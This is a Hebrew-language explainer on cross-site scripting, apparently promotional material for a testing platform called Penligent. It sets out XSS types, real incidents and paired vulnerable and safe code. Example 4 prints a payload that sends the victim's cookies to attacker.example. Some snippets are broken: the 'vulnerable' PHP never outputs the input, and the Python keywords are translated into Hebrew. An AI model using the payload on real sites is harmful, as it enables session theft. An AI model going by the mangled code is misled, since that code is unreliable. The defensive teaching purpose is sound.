תסריט בין אתרים (XSS) היא פגיעות באינטרנט שבה תוקף מזריק קוד זדוני, בדרך כלל JavaScript, לדפי אינטרנט שצופים בהם משתמשים אחרים. הקוד המוזרק פועל בדפדפן של הקורבן תחת הקשר של אתר מהימן, ומאפשר לתוקפים לגנוב קובצי Cookie, להשתלט על הפעלות, להוציא נתונים או לבצע פעולות בשם המשתמשים.
מדוע XSS נותר בעיה עולמית בשנת 2025
XSS נותר אחת הפגיעויות הנפוצות ביותר באינטרנט מזה עשרות שנים. הוא התפרסם לראשונה בסוף שנות ה-90 עם עלייתם של תוכן דינמי ותוכן שנוצר על ידי משתמשים בפלטפורמות אינטרנט.
סקרים אחרונים מאשרים כי XSS ממשיך להשפיע על יישומים באינטרנט, במיוחד עם מסגרות מודרניות, ממשקי API, עיבוד דינמי, תוכן טקסט עשיר ושילובים של צד שלישי.
כל יישום אינטרנט שמקבל קלט ממשתמשים — החל מתגובות ועד ממשקי API של JSON — ללא טיהור או קידוד פלט נאותים, נשאר חשוף לסיכון.
דוגמאות לפריצות XSS בעולם האמיתי
ERPNext / Frappe — CVE-2025-56379 XSS מאוחסן
בשנת 2025, ERPNext/Frappe חשפה פגיעות XSS מאוחסנת במודול הבלוג שלה (גרסאות 15.67.0 / 15.72.4). משתמשים מאומתים יכלו להזריק HTML/JavaScript זדוני לתוך ה- תוכן שדה. המטען מבוצע בדפדפנים של משתמשים הצופים בפוסט בבלוג, תוך סיכון של חטיפת הפעלה וגניבת נתונים.
דבר זה מראה כי אפילו פלטפורמות קוד פתוח המתוחזקות היטב הן פגיעות אם HTML שנוצר על ידי המשתמש מוצג ללא טיהור נאות.
מקרה היסטורי: סמי וורם ב-MySpace (2005)
תולעת Samy ניצלה את XSS בפרופילים של משתמשי MySpace. היא התפשטה ליותר ממיליון פרופילים תוך 20 שעות, והדגימה כיצד XSS יכול להתפשט במהירות ולחטוף את הפעילות של המשתמשים.
סוגי XSS ווקטורי תקיפה
XSS מגיע בכמה גרסאות:
| סוג | תיאור | וקטור התקפה טיפוסי |
|---|---|---|
| XSS מוחזר | הנתונים מועברים באופן מיידי מהבקשה לתגובה | פרמטרים של כתובת URL, שדות חיפוש |
| XSS מאוחסן | הנתונים מאוחסנים בשרת ומופעלים מאוחר יותר | הערות, בלוגים, פרופילים של משתמשים |
| XSS מבוסס DOM | סקריפטים בצד הלקוח מזריקים תוכן לא בטוח | אפליקציות בעמוד אחד, hash URL, תבניות JS |
| XSS עיוור | העומס מבוצע ללא משוב מיידי | לוחות בקרה של מנהל, יומנים, דוא"ל |
התקפות מודרניות כוללות גם מטענים רב-לשוניים המסוגלים לעקוף מנגנוני חיטוי ולהפעיל תנאים של XSS עיוור. (arxiv.org)
ההשלכות של מתקפות XSS
- חטיפת הפעלה והשתלטות על חשבון
- פעולות לא מורשות / התחזות למשתמש
- גניבת נתונים / חשיפת מידע רגיש
- השחתה, פישינג או הנדסה חברתית
- הפצת תוכנות זדוניות מתמשכת
אפילו יישומים קטנים באינטרנט נמצאים בסיכון אם הם מציגים קלט של משתמשים בצורה לא בטוחה.
דוגמאות להתקפה והגנה
דוגמה 1 — XSS מוחזר (PHP + HTML)
פגיע:
php
<?php $search = $_GET['q'] ?? '';?><html> <body> <p>תוצאות החיפוש:</p> </body> </html>
גרסה בטוחה יותר:
php
<?php $search = $_GET['q'] ?? '';$safe = htmlspecialchars($search, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');?><html> <body> <p>תוצאות החיפוש:</p> </body> </html>
דוגמה 2 — XSS מאוחסן בתגובות (JavaScript + HTML)
הצגה פגיעה:
html
<div class="comments"><p class="user-comment">{{comment_from_db}}</p></div>
הצגה בטוחה עם DOMPurify:
html
<script src="<https://unpkg.com/[email protected]/dist/purify.min.js>"></script><script> const raw = userCommentFromServer;const clean = DOMPurify.sanitize(raw);document.querySelector('.user-comment').innerHTML = clean;</script>
דוגמה 3 — XSS מבוסס DOM באמצעות URL
פגיע:
javascript
const msg = document.getElementById('msg'); msg.innerHTML = location.hash.substring(1);
בטוח:
javascript
const msg = document.getElementById('msg'); msg.textContent = location.hash.substring(1);
דוגמה 4 — XSS עיוור/מעוכב
מטען התקפה:
html
<img src="x" onerror="fetch('<https://attacker.example/p?c='+document.cookie>)">
הגנה:
- חיטוי קלט HTML של משתמש בצד השרת
- החל רשימת אישור קפדנית של תגי HTML/תכונות
- אכיפת מדיניות אבטחת תוכן (CSP)
pgsql
מדיניות אבטחת תוכן: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'none';
דוגמה 5 — הזרקת JSON API (JavaScript)
פגיע:
javascript
fetch('/api/user/123') .then(res => res.json()) .then(data => {document.getElementById('username').innerHTML = data.username; });
בטוח:
javascript
fetch('/api/user/123') .then(res => res.json()) .then(data => {document.getElementById('username').textContent = data.username; });
דוגמה 6 — הזרקת תבנית (Python / Jinja2)
פגיע:
פייתון
מ-jinja2 ייבוא Template user_input = "{{7*7}}"tpl = Template(user_input)print(tpl.render())
בטוח:
פייתון
מ-jinja2.sandbox ייבוא SandboxedEnvironment env = SandboxedEnvironment() tpl = env.from_string(user_input)print(tpl.render())
לקחים מהעולם האמיתי מ-GitHub (2018)
ב-GitHub היה XSS מאוחסן בעיבוד Markdown. משתמשים יכלו להוסיף קוד JS בקבצי README; כל מבקר שפתח את דף המאגר היה מבצע את הקוד. GitHub תיקן את הבעיה על ידי ניקוי הקלט והגבלת תגי HTML מותרים. (אבטחת GitHub)
שילוב מניעת XSS בתהליכי עבודה מודרניים
- קידוד פלט וטיהור בכל ההקשרים: HTML, JS, CSS, URL
- השתמשו בחומרי חיטוי מודרניים: DOMPurify, ספריות בריחה בצד השרת, מנועי תבניות עם בריחה אוטומטית
- החל CSP: למנוע סקריפטים מוטמעים ולהגביל מקורות סקריפטים
- בדיקות אוטומטיות: ניתוח סטטי, סריקה דינמית, פוזינג, בדיקות XSS עיוורות
- בדיקות חדירה ידניות: לאמת וקטורי הזרקה מורכבים או רב-שלביים
- ביקורת ופיקוח: רישום קלט חשוד, בדיקת תוכן של מנהלים/צד שלישי, אכיפת בדיקות קוד
אינטגרציה של Penligent לבדיקות XSS אוטומטיות
צוותי אבטחה מודרניים יכולים לנצל פלטפורמות בדיקת חדירה חכמות כמו Penligent כדי להפוך את זיהוי XSS לאוטומטי במספר הקשרים:
- סריקה רציפה של וקטורי XSS מוחזרים, מאוחסנים, DOM ועיוורים
- הזרקת מטען וניתוח אוטומטיים
- דיווח והצעות לתיקון
- שילוב עם צינורות CI/CD עבור זרימת עבודה DevSecOps
באמצעות Penligent, צוותים מצמצמים את המאמץ הידני, משפרים את הכיסוי ומבטיחים הגנה מתמשכת מפני איומי XSS המתפתחים.
סיכום
- XSS נותר פגיעות מרכזית באינטרנט למרות עשרות שנים של מודעות לנושא.
- ההגנה דורשת אמצעים רב-שכבתיים: קידוד, טיהור, CSP, ממשקי API בטוחים ובדיקות רציפות.
- בדיקות אוטומטיות וידניות משולבות מספקות הגנה חזקה, במיוחד ביישומים דינמיים מודרניים.
- פלטפורמות חכמות כמו Penligent יכול לשפר את תהליכי העבודה בתחום האבטחה, על ידי זיהוי וצמצום XSS באופן יזום.
